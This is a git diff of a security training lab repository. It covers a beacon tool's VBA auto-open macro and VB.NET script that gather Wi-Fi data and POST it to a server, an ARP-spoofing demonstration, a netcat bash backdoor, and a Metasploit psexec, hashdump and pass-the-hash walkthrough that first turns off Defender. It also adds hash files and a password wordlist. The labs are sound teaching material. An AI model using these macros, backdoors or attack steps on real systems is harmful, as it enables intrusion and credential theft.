link to the user, click the get link button. The link will be copied to the clipboard. - -To delete a user, click the user's delete button. The following prompt will appear: - -![](HoneyBadger_files/hb_admin_userdelete.png) - -Click OK, and the user will be removed from the list: - -![](HoneyBadger_files/hb_admin_userdeleted.png) - -Example 8: Agents ------------------ -### 1. Demo Page ### -Navigate to the targets page. - -![](HoneyBadger_files/hb_targets.png) - -Click on the demo button to be taken to the demo page: - -![](HoneyBadger_files/hb_demo.png) - -Enter some XSS code into the first field, and the current user's password into the second field, and click submit. - -If the inputted XSS code worked, the following string of popups will appear. - -![](HoneyBadger_files/hb_demo_locationrequest.png) - -Click on Share Location. - -![](HoneyBadger_files/hb_demo_consentprompt.png) - -Click OK. - -![](HoneyBadger_files/hb_demo_appletprompt.png) - -Click Allow Now. - -![](HoneyBadger_files/hb_demo_appletprompt_again.png) - -Click Run. - -![](HoneyBadger_files/hb_demo_appletsecurity.png) - -Click Yes. - -![](HoneyBadger_files/hb_demo_applethoney.png) - -Click Yes. - -![](HoneyBadger_files/hb_demo_applethoney_again.png) - -After clicking through all of the prompts, the page will load. Reload the HoneyBadger beacons page to see that a new beacon is added: -![](HoneyBadger_files/hb_demo_jsbeacon.png) - - -### 2. VBA Macro ### -The VBA macro code are not included as comments in the generated popup for the sake of brevity. The VBA macro functionality is explained here. In short, the VBA macro imitates the powershell script. - - Sub AutoOpen() - ' Create an instance of a WSH shell for system commands - Set objWSH = CreateObject("WScript.Shell") - - ' Run the netsh command via powershell for automatic wireless survey - wifi = objWSH.Exec("powershell netsh wlan show networks mode=bssid | findstr 'SSID Signal Channel'").StdOut.ReadAll - - ' Open a file handle to a temporary file and write netsh results to file - Open Environ("temp") & "\wifidat.txt" For Output As #1 - Print #1, wifi - Close #1 - - ' Read contents in from temp file, fixing encoding issues with the web request - wifi = objWSH.Exec("powershell Get-Content %TEMP%\wifidat.txt -Encoding UTF8 -Raw").StdOut.ReadAll - - ' Remove the temporary file - Kill Environ("temp") & "\wifidat.txt" - - ' Base64-encode the netsh data for sending. - wifienc = objWSH.Exec("powershell -Command ""& {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('" & wifi & "'))}""").StdOut.ReadAll - - ' Create a web object - Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") - - ' Open the connection via POST request to the HoneyBadger server - objHTTP.Open "POST", "http://:5000/api/beacon/aedc4c63-8d13-4a22-81c5-d52d32293867/VBA" - - ' Set request headers to make the server aware of the POST form data - objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" - - ' Send the properly formatted POST form to the server - objHTTP.Send "os=windows&data=" & wifienc - End Sub - -To use the macro code, simply open a document, paste this macro inside, and save as a .docm file. Upon opening and accepting to run code, the macro will be triggered and the beacon will be added. - - -### 3. VB.NET Script ### -The VB.NET code is identical in function and near identical in structure to the VBA macro. Changes needed to be made to make it a valid VB.NET script, for version difference issues between VB.NET and VBA. Like the macro, the VB.NET functionality is explained here: - - Imports System.IO - - Module HoneyBadgerBeacon - Sub Main() - ' Create and initialize a new WSH shell object - Dim objWSH As New Object - objWSH = CreateObject("WScript.Shell") - - ' Create and initialize the wifi data variable - Dim wifi As String - wifi = objWSH.Exec("powershell netsh wlan show networks mode=bssid | findstr 'SSID Signal Channel'").StdOut.ReadAll - - ' Create a temp file - Dim objWriter As New System.IO.StreamWriter(Environ("temp") & "\wifidat.txt") - - ' Write data to file - objWriter.Write(wifi) - - ' Close file - objWriter.Close(0) - - ' Read in the temp file contents with proper encoding - wifi = objWSH.Exec("powershell Get-Content %TEMP%\wifidat.txt -Encoding UTF8 -Raw").StdOut.ReadAll - - ' Delete temp file - Kill(Environ("temp") & "\wifidat.txt") - - ' Base64-encode data - wifi = objWSH.Exec("powershell -Command ""& {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF88.GetBytes('" & wifi & "'))}""").StdOut.ReadAll - - ' Create new web object - Dim objHTTP As New Object - objHTTP = CreateObject("MSXML2.ServerXMLHTTP") - - ' Open POST request to server - objHTTP.Open("POST", "http://:5000/api/beacon/aedc4c63-8d13-4a22-81c5-d52d32293867/VB") - - ' Set request headers to notify server of POST form data - objHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded") - - ' Send the formatted data to the server - objHTTP.Send("os=windows&data=" & wifi) - End Sub - End Module - -Copy this script into a file with a .vb extension, and run vbc .vb to compile, and then run .exe to create the beacon. - - -### 4. HTML ### -To use a beacon with the HTML agent, go to the targets page and copy the GUID of the desired target, and create a URL formatted like so: -`http://:5000/api/beacon//HTML?lat=&lng=&acc=` - -Navigate to this page in a browser. The server will return a 404 - - -### 5. CMD ### -The CMD agent is a type of HTML agent, as the beacon is created via web requests on the command line. There are two utilities in the util directory of HoneyBadger, one for windows and one for linux. They utilize Google's geolocation API. Usage information is available in those scripts. - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts.md b/IntroClassFiles/Tools/IntroClass/HoneyPorts.md deleted file mode 100644 index e9766bc2..00000000 --- a/IntroClassFiles/Tools/IntroClass/HoneyPorts.md +++ /dev/null @@ -1,193 +0,0 @@ - -Honey Ports -============ - -Website -------- - - - -Description ------------ - -A Python based cross-platform HoneyPort solution, created by Paul Asadoorian. - -Install Location ----------------- - -`/opt/honeyports/` - -Usage ------ - -Change to the Honeyports directory and execute the latest version of the script: - -`~$` **`cd /opt/honeyports`** - -`/opt/honeyports$` **`python3 ./honeyports.py`** - - - -Example 1: Monitoring A Port With HoneyPorts --------------------------------------------- - -From the honeyports directory, run: - -`/opt/honeyports$` **`sudo python3 ./honeyports.py -p 3389 -h localhost`** - - Listening on 0.0.0.0 IP: 0.0.0.0 : 3389 - -We can confirm that the listening is taking place with lsof: - -`/opt/honeyports$` **`sudo lsof -i -P | grep python`** - - python 26560 root 3r IPv4 493595 0t0 TCP *:3389 (LISTEN) - -Looks like we're good. - -Any connection attempts to that port will result in an instant ban for the IP address in question. -Let's simulate this next. - -Example 2: Blacklisting In Action ---------------------------------- - -If Honeyports is not listening on 3389 please follow the instructions in -[Example 1: Monitoring A Port With HoneyPorts]. - -Once you have Honeyports online and a backup Windows machine to connect to Honeyports from, -let's proceed. - -First we need to get the IP address of the ADHD instance. - -`~$` **`ifconfig`** - - eth0 Link encap:Ethernet HWaddr 08:00:27:65:3c:64 - inet addr:192.168.1.109 Bcast:192.168.1.255 Mask:255.255.255.0 - inet6 addr: fe80::a00:27ff:fe65:3c64/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:46622 errors:0 dropped:0 overruns:0 frame:0 - TX packets:8298 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:14057203 (14.0 MB) TX bytes:2659309 (2.6 MB) - - lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - inet6 addr: ::1/128 Scope:Host - UP LOOPBACK RUNNING MTU:16436 Metric:1 - RX packets:94405 errors:0 dropped:0 overruns:0 frame:0 - TX packets:94405 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:37127292 (37.1 MB) TX bytes:37127292 (37.1 MB) -We can see from the ifconfig output that my ADHD instance has an IP of 192.168.1.109 - -I will connect to that IP on port 3389 from a box on the same network segment in order to test -the functionality of Honeyports. - -I will be using RDP to make the connection. - -To open Remote Desktop hit `Windows Key + R` and input `mstsc.exe` before hitting OK. - -![](HoneyPorts_files/Image_001.png) - -Next simply tell RDP to connect to your machine's IP address. - -![](HoneyPorts_files/Image_002.png) - -We get an almost immediate error, this is a great sign that Honeyports is doing its job. - -![](HoneyPorts_files/Image_003.png) - -Any subsequent connection attempts are met with failure. - -![](HoneyPorts_files/Image_004.png) - -And we can confirm back inside our ADHD instance that the IP was blocked. - -`~$` **`sudo iptables -L`** - - Chain INPUT (policy ACCEPT) - target prot opt source destination - REJECT all -- 192.168.1.149 anywhere reject-with icmp-port-unreachable - - Chain FORWARD (policy ACCEPT) - target prot opt source destination - - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - - Chain ARTILLERY (0 references) - target prot opt source destination - -You can clearly see the REJECT policy for 192.168.1.149 (The address I was connecting from). - -To remove this rule we can either: - -`~$` **`sudo iptables -D INPUT -s 192.168.1.149 -j REJECT`** - -Or Flush all the rules: - -`~$` **`sudo iptables -F`** - -Example 3: Spoofing TCP Connect for Denial Of Service ------------------------------------------------------ - -Honeyports are designed to only properly respond to and block full TCP connects. This is done to -make it difficult for an attacker to spoof being someone else and trick the Honeyport into blocking -the spoofed address. TCP connections are difficult to spoof if the communicating hosts properly -implement secure (hard to guess) sequence numbers. Of course, if the attacker can "become" the -host they wish to spoof, there isn't much you can do to stop them. - -This example will demonstrate how to spoof a TCP connect as someone else, for the purposes of -helping you learn to recognize the limitations of Honeyports. - -If you can convince the host running Honeyports that you are the target machine, you can send -packets as the target. We will accomplish this through a MITM attack using ARP Spoofing. - -Let's assume we have two different machines, they may be either physical or virtual. -One must be your ADHD machine running Honeyports, the other for this example will be a Kali box. -They must both be on the same subnet. - -Note: Newer Linux operating systems like ADHD often have builtin protection against this attack. -This protection mechanism is found in **/proc/sys/net/ipv4/conf/all/arp_accept**. A **1** in this -file means that ADHD is configured to accept unsolicited ARP responses. You can set this value by running the following command as root **`echo 1 > /proc/sys/net/ipv4/conf/all/arp_accept`** - -If our ADHD machine (running the Honeyports) is at 192.168.1.144 and we want to spoof 192.168.1.1 - -Let's start by performing our MITM attack. - -`~#` **`arpspoof -i eth0 -t 192.168.1.144 192.168.1.1 2>/dev/null &`** - -`~#` **`arpspoof -i eth0 -t 192.168.1.1 192.168.1.144 2>/dev/null &`** - -If you want to confirm that the MITM attack is working first find the MAC address of the Kali box. - -`~#` **`ifconfig -a | head -n 1 | awk '{print $5}'`** - - 00:0c:29:40:1c:d3 - -Then on the ADHD machine run this command to determine the current mapping of IPs to MACs. - -`~#` **`arp -a`** - -Look to see if the IP you are attempting to spoof is mapped to the MAC address from the previous step. - -Once we have properly performed our arpspoof we will move on to assigning a temporary IP to the -Kali machine. - -This will convince the Kali machine to send packets as the spoofed host. - -`~#` **`ifconfig eth0:0 192.168.1.1 netmask 255.255.255.0 up`** - -The last step is to connect from the Kali box to the ADHD machine on a Honeyport, as 192.168.1.1 - -For this example, lets say that port 3389 is a Honeyport as we used before in [Example 1: Monitoring A Port With HoneyPorts]. - -`~#` **`nc 192.168.1.144 3389 -s 192.168.1.1`** - -It's that easy, if you list the firewall rules of the ADHD machine you should find a rule rejecting -connections from 192.168.1.1 - -Mitigation of this vulnerability can be accomplished with either MITM protections, or careful -monitoring of the created firewall rules. - - diff --git a/IntroClassFiles/Tools/IntroClass/LinuxCLI/LinuxCLI.md b/IntroClassFiles/Tools/IntroClass/LinuxCLI/LinuxCLI.md index d1790043..aff0acca 100644 --- a/IntroClassFiles/Tools/IntroClass/LinuxCLI/LinuxCLI.md +++ b/IntroClassFiles/Tools/IntroClass/LinuxCLI/LinuxCLI.md @@ -3,11 +3,13 @@ # Linux CLI +# For The Ubuntu VM + In this lab we will be looking at a backdoor through the lens of the the Linux CLI. We will be using a large number of different basic commands to get a better understanding of what the backdoor is and what it does. -For this lab we will be running **three** different Kali terminals. +For this lab we will be running **three** different Linux terminals. > Terminal 1 is where the backdoor will be run. @@ -17,49 +19,43 @@ For this lab we will be running **three** different Kali terminals. *** -Let's get started by opening a terminal as **Administrator** - -You can do this by right clicking the icon on the desktop and selecting open... - -![](attachments/OpeningKaliInstance.png) - -Or... you can simply click on the Kali logo in the taskbar. - -![](attachments/TaskbarKaliIcon.png) - -Once your **Kali** terminal opens, please run the following command: +- Open **Terminal 1** -
sudo su -
+```bash +sudo su - +``` -This will get us to a root prompt. We want to do this in order to have a backdoor running as root and a connection from a different user account on the system. +This will get us to a **root prompt**. We want to do this in order to have a **backdoor** running as **root** and a connection from a **different user account** on the system. Next, we will need to create a **FIFO** backpipe: -
mknod backpipe p
+```bash +mkfifo backpipe +``` Next, let's start the backdoor: -
/bin/bash backpipe 0<backpipe | nc -l 2222 1>backpipe
+```bash +/bin/bash 0backpipe +``` In the above command, we are creating a **Netcat listener** that forwards all input through a backpipe and then into a bash session. It then takes the output of the bash session and puts it back into the **Netcat listener**. On a more basic level, this will create a backdoor listening on port 2222 of our **Linux** system. -Now, let's open another **Kali** terminal. This terminal will connect to the backdoor we just created. +Now, let's open another **Linux** terminal. This terminal will connect to the backdoor we just created. -You can do this by right clicking the icon on the desktop and selecting open... +- Open **Terminal 2** -![](attachments/OpeningKaliInstance.png) - -Or... you can simply click on the Kali logo in the taskbar. +Now we will need to know the IP address of our **Linux** system: -![](attachments/TaskbarKaliIcon.png) +```bash +ifconfig +``` -Now we will need to know the IP address of our **Linux** system: +Get_IPLinux -
ifconfig
-![](attachments/ifconfigKaliInstance.png) >[!NOTE] > @@ -67,7 +63,9 @@ Now we will need to know the IP address of our **Linux** system: Now, let's connect: -
nc 10.10.104.64 2222
+```bash +nc 172.31.90.102 2222 +``` >[!NOTE] > @@ -78,46 +76,50 @@ It can be confusing to tell whether or not you are connected to the backdoor. Type a few commands to see if its working: -
ls
+```bash +ls +``` -
whoami
+```bash +whoami +``` -![](attachments/lswhoamiKaliInstance.png) +2026-03-14_14-52 -At this point, we have created a backdoor with one terminal, and we have connected to this backdoor with another terminal. Now, let's open yet another **Kali** terminal and use this use for the purpose of analysis. -Let's begin by using one of the two methods used earlier to open a new **Kali** Terminal. +At this point, we have created a backdoor with one terminal, and we have connected to this backdoor with another terminal. Now, let's open yet another **Linux** terminal and use this use for the purpose of analysis. -You can do this by right clicking the icon on the desktop and selecting open... -![](attachments/OpeningKaliInstance.png) -Or... you can simply click on the Kali logo in the taskbar. -![](attachments/TaskbarKaliIcon.png) +- Open **Terminal 3** -On your Linux terminal, please run the following command: - -
sudo su -
+```bash +sudo su - +``` This will get us to a root prompt. When we say root prompt we mean a terminal with the highest level of permission possible. We want to be in a root prompt because looking at network connections and process information system wide requires root privileges (or the highest level of privileges). Let's start by looking at the network connections with **lsof**. When we use **lsof**, we are looking at open files. When we use the **-i** flag we are looking at the open Internet connections. When we use the **-P** flag we are telling **lsof** to not try and guess what the service is on the ports that are being used. Just give us the port number. -
lsof -i -P
+```bash +lsof -i -P +``` +1 -![](attachments/lsof-i-pKaliInstance.png) Now let's dig into the **netcat process ID**. We can do this with the lowercase **-p** switch. This will give us all the open files associated with the listed process ID. -
lsof -p [PID]
+```bash +lsof -p [PID] +``` >[!NOTE] > >**Your PID will be different!!!** -![](attachments/lsof-pKaliInstance.png) +2 Let's look at the full processes. We can do this with the **ps** command. We are also adding the **a**, **u**, and **x switches**. @@ -127,37 +129,46 @@ Let's look at the full processes. We can do this with the **ps** command. We ar Type out this command. -
ps aux
+```bash +ps aux +``` + +2026-03-14_14-57 -![](attachments/psauxKaliInstance.png) Let's change directories into the **proc** directory for that **pid**. Remember, **proc** is a directory that does not exist on the drive. It allows us to see data associated with the various processes directly. This can be very useful as it allows us to dig into the memory of a process that is currently running on a suspect system. -
cd /proc/[pid]
+```bash +cd /proc/[pid] +``` >[!NOTE] > >**Your PID will be different!!!** -![](attachments/procPIDKaliInstance.png) - We can see a number of interesting directories here: -
ls
+```bash +ls +``` -![](attachments/lsKaliInstance.png) +2026-03-14_15-05 We can run the **strings** command on the executable in this directory. When programs are created there may be usage information, mentions of system libraries, and possible code comments. We use this all the time to attempt to identify what exactly a program is doing. -
strings ./exe | less
+```bash +strings ./exe | less +``` -![](attachments/strings_exelessKaliInstance.png) +1 If we scroll down, we can see the actual usage information for netcat. We pulled it directly out of memory! To reveal more information in the output, press **"enter"**. -![](attachments/netcatusageKaliInstance.png) +2 + +- Press **q** to go back *** @@ -174,3 +185,12 @@ Please be sure to destroy the lab environment! --- + + + + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md b/IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md index 19f3be25..e47de7a3 100755 --- a/IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md +++ b/IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md @@ -11,57 +11,55 @@ Remember, treat your internal network as hostile, because it is. Let's get started by opening a command prompt terminal. You can do this by clicking the icon in the taskbar. -![](attachments/openingcommandprompt%20-%20Copy.png) -From the command prompt we need to get the IP address of **your** Windows system: - -
ipconfig
- -![](attachments/nmap_ipconfig.png) +Screenshot From 2026-02-07 17-59-56 -Please note your IP for **your** system. Mine is **"10.10.1.209"**. -**Yours will be different.** - -Let’s try and scan your Windows system from within a **Kali** terminal. Go ahead and open a **Kali** terminal up. -![](attachments/OpeningKaliInstance.png) +From the command prompt we need to get the IP address of **your** Windows system: -Alternatively, you can click on the **Kali** logo in the taskbar. +```cmd +ipconfig +``` -![](attachments/TaskbarKaliIcon.png) +2026-02-23_12-46 -In the **Kali** terminal, let’s become root: +Please note your IP for **your** system. Mine is **"10.10.86.77"**. -
sudo su -
+**Yours will be different.** -We will scan your Windows system: +Let’s enable the Windows firewall: -
nmap 10.10.1.209
+```bash +netsh advfirewall set allprofiles state on +``` -You can hit the spacebar to get status. -It should look like this: +![](attachments/nmap_advfirewallon.png) -![](attachments/nmap_nmap.png) +Let’s try and scan your Windows system from within a **Linux** terminal. Go ahead and open a **Linux** terminal up. -Please note the open ports. These are ports and services that an attacker could use to authenticate to your system or attack if an exploit is available. -Go back to the **Windows** command prompt. +- **Double-click** `Ubuntu Shell` on Desktop -![](attachments/openingcommandprompt%20-%20Copy.png) +Screenshot From 2026-02-23 10-28-37 -Let’s enable the Windows firewall: +In the **Linux** terminal, let’s become root: -
netsh advfirewall set allprofiles state on
+```bash +sudo su - +``` -![](attachments/nmap_advfirewallon.png) +Now, let’s rescan from the **Linux** terminal. -Now, let’s rescan from the **Kali** terminal. +Run the scan: -Rerun the scan: +```bash +nmap 10.10.86.77 +``` -
nmap 10.10.1.209
+>[!IMPORTANT] +>Your IP will be different!!!! Please note, you can just hit the up arrow key to view previously run commands. @@ -69,14 +67,21 @@ You can hit the spacebar to see status. It should look like this: -![](attachments/nmap_nmapscanwfirewall.png) +2026-02-23_12-50 + +Please note the open ports. These are ports and services that an attacker could use to authenticate to your system or attack if an exploit is available. Now, using the same process as before, let’s disable the **Windows** firewall to go back to the base state: -
netsh advfirewall set allprofiles state off
+```cmd +netsh advfirewall set allprofiles state off +``` -![](attachments/nmap_turnbackon.png) +2026-02-23_13-04 +- As we can see, there is one more service shown open on port **5357** and also, the other **985** ports are shown as directly as **closed**, not **filtered** + +--- Now, lets see why this is important with pass the hash. @@ -84,49 +89,78 @@ First lets configure the Windows system Let's disable AV. -PS C:\Users\Administrator> `Set-MpPreference -DisableRealtimeMonitoring $true` +- Open **Powershell** + +Screenshot From 2026-02-07 17-59-15 + +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` Next, let's make sure that firewall is off. -PS C:\Users\Administrator> `netsh advfirewall set allprofiles state off` +```ps +netsh advfirewall set allprofiles state off +``` Now, let's set an easy password. -PS C:\Users\Administrator> `net user Administrator password1234` - -PS C:\Users\Administrator> `ipconfig` +```ps +net user Administrator password1234 +``` It should look like this: -image +2026-02-23_13-31 + +- Now get you **Windows IP**: + +```ps +ipconfig +``` + +Get_IpWIN + + +Now, let's open a Linux terminal: + +- **Double-click** `Ubuntu Shell` on Desktop + +Screenshot From 2026-02-23 10-28-37 -Now, let's open a Kali terminal: -image Become root: -`sudo su -` +```bash +sudo su - +``` Start Metasploit -`msfconsole -q` +```bash +msfconsole -q +``` -image +msfconsolebash -In another Kali terminal, get your IP address -`ifconfig` +In another Linux terminal, get your IP address + +```bash +ifconfig +``` + +Get_IP -image msf6 > `use exploit/windows/smb/psexec` -msf6 exploit(windows/smb/psexec) > `set RHOST 10.10.70.106` +msf6 exploit(windows/smb/psexec) > `set RHOST ` -msf6 exploit(windows/smb/psexec) > `set LHOST 10.10.117.128` +msf6 exploit(windows/smb/psexec) > `set LHOST ` msf6 exploit(windows/smb/psexec) > `set SMBUSER Administrator` @@ -137,25 +171,23 @@ msf6 exploit(windows/smb/psexec) > `exploit` It should look lie this: -image +2026-02-23_13-46 + Now dump the password hashes: meterpreter > `hashdump` -image +1 -meterpreter > exit -y - - -msf6 exploit(windows/smb/psexec) > `set SMBPASS aad3b435b51404eeaad3b435b51404ee:30ee6993157208a29fb730af8bcc3dfe` +meterpreter > `exit -y` -image +msf6 exploit(windows/smb/psexec) > `set SMBPASS aad3b435b51404eeaad3b435b51404ee:d4a1be1776ad10df103812b1a923cde4` msf6 exploit(windows/smb/psexec) > `exploit` -image +2 Kill it @@ -163,23 +195,20 @@ Kill it meterpreter > `exit -y` +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/PasswordCracking/PasswordCracking.md) -Now, back at the Windows Powershell, re-enable your firewall - - -PS C:\Users\Administrator> `netsh advfirewall set allprofiles state on` - -Then re-run the attack!! - -image - - - +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/nessusIntroClass/Nessus.md) +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) +***Finished with the Labs?*** +Please be sure to destroy the lab environment! +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) +--- @@ -190,19 +219,11 @@ Then re-run the attack!! -*** -***Continuing on to the next Lab?*** -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) -***Finished with the Labs?*** -Please be sure to destroy the lab environment! -[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) ---- diff --git a/IntroClassFiles/Tools/IntroClass/PasswordCracking/MD5.txt b/IntroClassFiles/Tools/IntroClass/PasswordCracking/MD5.txt new file mode 100644 index 00000000..ed572729 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/PasswordCracking/MD5.txt @@ -0,0 +1,6 @@ +6e932d615f16a74d3cfe0c42f30a541d +5ae53028efd00ce255c961ccc5535024 +15b29ffdce66e10527a65bc6d71ad94d +0467d913571cb8f23b2b99f7c5cd4d5f +45fb45cd49d4fffa0c72db7e59450d4f +1461b2d7619c7b7658e012d68b827dda diff --git a/IntroClassFiles/Tools/IntroClass/PasswordCracking/PasswordCracking.md b/IntroClassFiles/Tools/IntroClass/PasswordCracking/PasswordCracking.md index 62d93549..c24c0f03 100755 --- a/IntroClassFiles/Tools/IntroClass/PasswordCracking/PasswordCracking.md +++ b/IntroClassFiles/Tools/IntroClass/PasswordCracking/PasswordCracking.md @@ -3,79 +3,69 @@ # Password Cracking -In this lab we will be getting started with the fundamentals of password cracking. We will be using **Hashcat** to do this. - -To start, disable **Defender** and open **PowerShell** to run the following command: - -![](attachments/OpeningPowershell.png) - -
Set-MpPreference -DisableRealtimeMonitoring $true
+# Ubuntu VM -This will disable **Defender** for this session. -If you get angry red errors, that is Ok, it means **Defender** is not running. - -We need to launch a **Kali** terminal. Click the **Kali** icon in the taskbar. - -![](attachments/TaskbarKaliIcon.png) - -When the terminal opens, we need to gain root access by running the following: +In this lab we will be getting started with the fundamentals of password cracking. We will be using **Hashcat** to do this. -
sudo su -
+After you open a terminal, we need to gain root access by running the following: Now, let's delete any old leftover pot files -
 rm /root/.local/share/hashcat/hashcat.potfile
+```bash +rm ~/.local/share/hashcat/hashcat.potfile +``` If you get an error that the file does not exist, that is fine. It just means the file does not exist. Carry on. We need to navigate to the appropriate directory. Run the following: -
cd /opt/Password_Cracking
+```bash +cd ~/Intro_To_Security/Password_Cracking +``` Lets begin by attempting to crack some **MD5 hashes**. Run the following command: -
hashcat -a 0 -m 0 -r /usr/share/hashcat/rules/Incisive-leetspeak.rule MD5.txt password.lst
+```bash +hashcat -a 0 -m 0 -r /usr/share/hashcat/rules/Incisive-leetspeak.rule MD5.txt password.lst +``` The result will look like this: -![](attachments/md5run.png) +2026-02-10_13-54 -Running this command will not show us the cracked hashes. As seen above, in order to see cracked hashes, we need to run our command again and add the **--show** option onto the end. - -After running the command again with the **--show** option, you should see something like this: - -![](attachments/md5hashes.png) Lets crack some NT hashes. These are the hashes that almost all modern **Windows** systems store these days. Older systems may store **LANMAN**, but that is very rare. Lets run the following command: -
hashcat -a 0 -m 1000 -r/usr/share/hashcat/rules/Incisive-leetspeak.rule sam.txt password.lst
+```bash +hashcat -a 0 -m 1000 -r/usr/share/hashcat/rules/Incisive-leetspeak.rule sam.txt password.lst +``` When this command is complete, it should look like this: -![](attachments/nthashrun.png) +image -We will not see the cracked hashes unless we append **--show** onto the end of the command. Lets do that. Run it again to see the cracked hashes: -![](attachments/ntcracked.png) +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/PasswordSpray/PasswordSpray.md) -*** -***Continuing on to the next Lab?*** +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/Nmap/Nmap.md) -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) ***Finished with the Labs?*** - Please be sure to destroy the lab environment! [Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - --- + + + + diff --git a/IntroClassFiles/Tools/IntroClass/PasswordCracking/password.lst b/IntroClassFiles/Tools/IntroClass/PasswordCracking/password.lst new file mode 100644 index 00000000..6a8d24b9 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/PasswordCracking/password.lst @@ -0,0 +1,3557 @@ +#!comment: This list has been compiled by Solar Designer of Openwall Project, +#!comment: http://www.openwall.com/wordlists/ +#!comment: +#!comment: This list is based on passwords most commonly seen on a set of Unix +#!comment: systems in mid-1990's, sorted for decreasing number of occurrences +#!comment: (that is, more common passwords are listed first). It has been +#!comment: revised to also include common website passwords from public lists +#!comment: of "top N passwords" from major community website compromises that +#!comment: occurred in 2006 through 2010. +#!comment: +#!comment: Last update: 2011/11/20 (3546 entries) +123456 +12345 +password +password1 +123456789 +12345678 +1234567890 +abc123 +computer +tigger +1234 +qwerty +money +carmen +mickey +secret +summer +internet +a1b2c3 +123 +service + +canada +hello +ranger +shadow +baseball +donald +harley +hockey +letmein +maggie +mike +mustang +snoopy +buster +dragon +jordan +michael +michelle +mindy +patrick +123abc +andrew +bear +calvin +changeme +diamond +fuckme +fuckyou +matthew +miller +tiger +trustno1 +alex +apple +avalon +brandy +chelsea +coffee +falcon +freedom +gandalf +green +helpme +linda +magic +merlin +newyork +soccer +thomas +wizard +asdfgh +bandit +batman +boris +butthead +dorothy +eeyore +fishing +football +george +happy +iloveyou +jennifer +jonathan +love +marina +master +missy +monday +monkey +natasha +ncc1701 +pamela +pepper +piglet +poohbear +pookie +rabbit +rachel +rocket +rose +smile +sparky +spring +steven +success +sunshine +victoria +whatever +zapata +8675309 +amanda +andy +angel +august +barney +biteme +boomer +brian +casey +cowboy +delta +doctor +fisher +island +john +joshua +karen +marley +orange +please +rascal +richard +sarah +scooter +shalom +silver +skippy +stanley +taylor +welcome +zephyr +111111 +aaaaaa +access +albert +alexander +andrea +anna +anthony +asdfjkl; +ashley +basketball +beavis +black +bob +booboo +bradley +brandon +buddy +caitlin +camaro +charlie +chicken +chris +cindy +cricket +dakota +dallas +daniel +david +debbie +dolphin +elephant +emily +friend +fucker +ginger +goodluck +hammer +heather +iceman +jason +jessica +jesus +joseph +jupiter +justin +kevin +knight +lacrosse +lakers +lizard +madison +mary +mother +muffin +murphy +nirvana +paris +pentium +phoenix +picture +rainbow +sandy +saturn +scott +shannon +shithead +skeeter +sophie +special +stephanie +stephen +steve +sweetie +teacher +tennis +test +test123 +tommy +topgun +tristan +wally +william +wilson +1q2w3e +654321 +666666 +a12345 +a1b2c3d4 +alpha +amber +angela +angie +archie +asdf +blazer +bond007 +booger +charles +christin +claire +control +danny +david1 +dennis +digital +disney +edward +elvis +felix +flipper +franklin +frodo +honda +horses +hunter +indigo +james +jasper +jeremy +julian +kelsey +killer +lauren +marie +maryjane +matrix +maverick +mayday +mercury +mitchell +morgan +mountain +niners +nothing +oliver +peace +peanut +pearljam +phantom +popcorn +princess +psycho +pumpkin +purple +randy +rebecca +reddog +robert +rocky +roses +salmon +samson +sharon +sierra +smokey +startrek +steelers +stimpy +sunflower +superman +support +sydney +techno +walter +willie +willow +winner +ziggy +zxcvbnm +alaska +alexis +alice +animal +apples +barbara +benjamin +billy +blue +bluebird +bobby +bonnie +bubba +camera +chocolate +clark +claudia +cocacola +compton +connect +cookie +cruise +douglas +dreamer +dreams +duckie +eagles +eddie +einstein +enter +explorer +faith +family +ferrari +flamingo +flower +foxtrot +francis +freddy +friday +froggy +giants +gizmo +global +goofy +happy1 +hendrix +henry +herman +homer +honey +house +houston +iguana +indiana +insane +inside +irish +ironman +jake +jasmin +jeanne +jerry +joey +justice +katherine +kermit +kitty +koala +larry +leslie +logan +lucky +mark +martin +matt +minnie +misty +mitch +mouse +nancy +nascar +nelson +pantera +parker +penguin +peter +piano +pizza +prince +punkin +pyramid +raymond +robin +roger +rosebud +route66 +royal +running +sadie +sasha +security +sheena +sheila +skiing +snapple +snowball +sparrow +spencer +spike +star +stealth +student +sunny +sylvia +tamara +taurus +teresa +theresa +thunderbird +tigers +tony +toyota +travel +tuesday +victory +viper1 +wesley +whisky +winnie +winter +wolves +xyz123 +zorro +123123 +1234567 +696969 +888888 +Anthony +Joshua +Matthew +Tigger +aaron +abby +abcdef +adidas +adrian +alfred +arthur +athena +austin +awesome +badger 